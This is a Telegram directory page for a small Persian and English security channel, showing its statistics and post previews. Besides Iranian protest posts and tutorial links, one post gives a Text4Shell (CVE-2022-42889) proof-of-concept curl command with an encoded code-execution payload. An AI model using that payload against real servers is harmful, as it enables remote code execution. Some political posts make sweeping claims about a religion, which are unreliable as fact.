The owner of this channel has been inactive for the last 11 months. If they remain inactive for the next 7 days, they may lose their account and admin rights in this channel. The contents of the channel will remain accessible for all users.

Channel
P.F.K Security
@PFK_Security
On this record: Growth · Engagement · What this channel posts · Reactions · Posts · Citations · Cite this entry
150subscribers
+0 since we began measuring on 7 August 2026
Risers and fallers across the register · movement among entries of Under 1,000.
Register entry
| Telegram ID | -1001689388529 |
|---|---|
| Type | Channel |
| Username | @PFK_Security |
| Description | 2022/Jan/10 - Social Engineering - Computer Security - Vulnerability - Programming - Forensics - Network & Web Security - Malware Analysis & RE Lang [ Eng ] - [ Persian ] Channel 2 : @PFK_Git |
| Created | Between 1 December 2021 and 22 October 2022— estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 8 August 2026 |
| Last confirmed live | 8 August 2026 |
| Measurements held | 2 |
| On Telegram | t.me/PFK_Security |
Growth
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 8 Aug 2026, 19:47 | 150 | no change |
| 7 Aug 2026, 07:47 | 150 | first reading |
Engagement
20 posts held, back to 22 October 2022 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 pageof Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 20 posts for this entry, the most recent from 24 October 2023. An engagement rate over an empty window would be a number about nothing.
What this channel posts
- Photos
- 86
- Videos
- 18
- Links
- 266
Lifetime counters from Telegram’s own channel header, read 8 August 2026 — not the date at the top of this page, which is when the subscriber count was last read. Below Telegram’s rounding threshold, so these counts are exact.
- Video runtime
- 1m 39s
- Average length
- 1m 39s
Measured directly from 1 video with a duration reading, out of the posts we hold for this channel — not this channel’s whole posting history, only the sample this register has actually read. An exact reading to the second, taken from the post itself rather than from Telegram’s own rounded chrome, so it carries no ≈ mark.
Reaction mix
73 reactions across 13 posts, in 5 distinct kinds. The most used accounts for 50.7% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| 👍 | 37 | 50.7% | |
| 👎 | 26 | 35.6% | |
| ❤ | 5 | 6.85% | |
| 🔥 | 4 | 5.48% | |
| 🤩 | 1 | 1.37% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 13 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 73reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 20 most recent posts we hold, published 22 October 2022 to 24 October 2023, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Recent posts
The owner of this channel has been inactive for the last 11 months. If they remain inactive for the next 30 days, they may lose their account and admin rights in this channel. The contents of the channel will remain accessible for all users.
صدای انقلاب ملت ایران را بشنوید این صدا تا زمان رسیدن به آزادی خاموش نخواهد شد مرگ بر جمهوری اسلامی #مهسا_امینی #MahsaAmini
👍14👎6🔥3
فراخوان فردا روز کوروش بزرگ برای اعتراض به ظلم و ستم و میهن اشغال شده
❤3👍2
💠 Burp Suite for Pentester. • Web Scanner & Crawler; • Fuzzing with Intruder (Part3); • Fuzzing with Intruder (Part2); • Fuzzing with Intruder (Part1); • XSS Validator; • Configuring Proxy; • Burp Collaborator; • HackBar; • Burp Sequencer; • Turbo Intruder; • Engagement Tools Tutorial in Burp suite; • Payload Processing Rule in Burp suite (Part2); • Payload Processing Rule in Burp suite (Part1); • Begi…
آنچه امروز از سوی جمهوری اسلامی در ایران روی می دهد (تجاوز، کشتار، بکارگیری زندانیان لات و خلافکار برای زدن کودکان و نوجوانان، شکنجه و...) نمونه کوچک شده و بسیار نرم تر شده از گسترش اسلام در ١۴٠٠ سال پیش است. نسل کشی ایرانیان امروز به دست پیروان اسلام، نمونه بسیار نرم تر شده از هجوم مسلمانان به ایران، نبرد قادسیه و گسترش اسلام در فلات ایران است. بله ١۴٠٠ سال پیش نیز، بنیانگذار اسلام این ایدئولوژی ستيزه جو و تمامیت …
👍6👎5
💠 حساب توییتری گروه هکری #بلک_ریوارد مسدود شده. @Pfk_Security
👎2👍1🤩1
#Apache Text4Shell (CVE-2022-42889) PoC curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D https://sysdig.com/blog/cve-2022-42889-text4shell/ https://github.com/ClickCyber/cve-2022-42889 @Pfk_Security
💠 دوستان "حامد اسماعیلیون" عزیز پتيشنی قرار داده که کشور های G7 (غربی ) را وادار به اخراج سفرای حکومت اسلامی بکنه این عمل یک شاهکاره و موجب ایزوله شدن و اختناق آخوند در سطح جهانی میشه 🔹حتما امضا کنید بازنشر کنید- لینک زیر : https://t.co/gOXUOzBmOx @Pfk_Security
👍3👎2
سلام آقا مگه داعش تموم نشده بود؟ مگه اینا داعش رو از بین نبردن؟ چطور یهو ظاهر شد؟! داعش رو خودشون ساختن و خودشون تعطیل کردن الانم بهش نیاز دارن دوباره پیداش شد اینا برن هیچ داعشی نمیمونه رو زمین ! #جاعش #داعش = همه یکی هستند @Pfk_Security
👎6👍2
https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1
💠 کارزار اینترنتی خطاب به سران کشورهای گروه ۷، هفت کشور صنعتی جهان، برای فراخواندن سفرایشان از ایران و اخراج مقامات جمهوری اسلامی از مرز ۲۰۰ هزار امضا عبور کرد. 🔻این کارزار که خطاب به وزرای خارجهی بریتانیا، کانادا، امریکا، ژاپن، آلمان، فرانسه و ایتالیا است، با اشاره به «سرکوب بیرحمانه و خشونتآمیز» اعتراضات سراسری مردم ایران پس از قتل «مهسا امینی»، از سران این کشورها میخواهد که «سفرای جمهوری اسلامی یا نمایندگان …
Showing the 12 most recent of 20 posts we hold for @PFK_Security. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Citation-graph rank
Citation-graph rank — 665,784 of 1,160,990entries in the measured graph. A weighted position computed from the forward and mention edges below — republished posts weigh more than named mentions — and recomputed periodically, over the whole graph. Published only as this ordinal position, never as a score: a position is a fact, and a score printed beside one channel’s name would read as a verdict this register does not make. The two counts beneath stay separate for the same reason mentions are never summed with forwards anywhere else on this page — a named-by count costs nothing to manufacture. The top 100 by this measure, or how it is computed.
Forward network
Republishes
Channels on the register whose posts this channel has forwarded.
Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.
Mentions
Named by 1 registered channel — every channel on the register whose own posts have named this one, by its current username or any other username it currently holds, merged from two separately captured readings of the same fact so a namer caught by only one of them is not missed and a namer both caught is not counted twice. A username this channel has since dropped is not matched — that handle may belong to someone else now, and crediting today’s namer to yesterday’s owner would misattribute it.
Named by
Channels on the register whose posts name this channel's handle.
Names
Channels on the register whose handles appear in this channel's posts.
A mention is a weaker signal than a forward and is counted separately for that reason — naming a channel is not republishing it, and a handle in a post body is easy to place deliberately. The post counts beside each row below are distinct posts in which the handle appeared, from posts we have read on both sides — the “Named by N registered channels” figure above is a different count, of distinct NAMING CHANNELS rather than posts, and is not the sum of the rows under it.
Cite this entry
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 8 August 2026 — this entry's latest reading, not the date you are reading this.
“P.F.K Security” (@PFK_Security), 150 subscribers as measured 8 August 2026. Telegram Register, tgregister.com/channel/PFK_Security.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.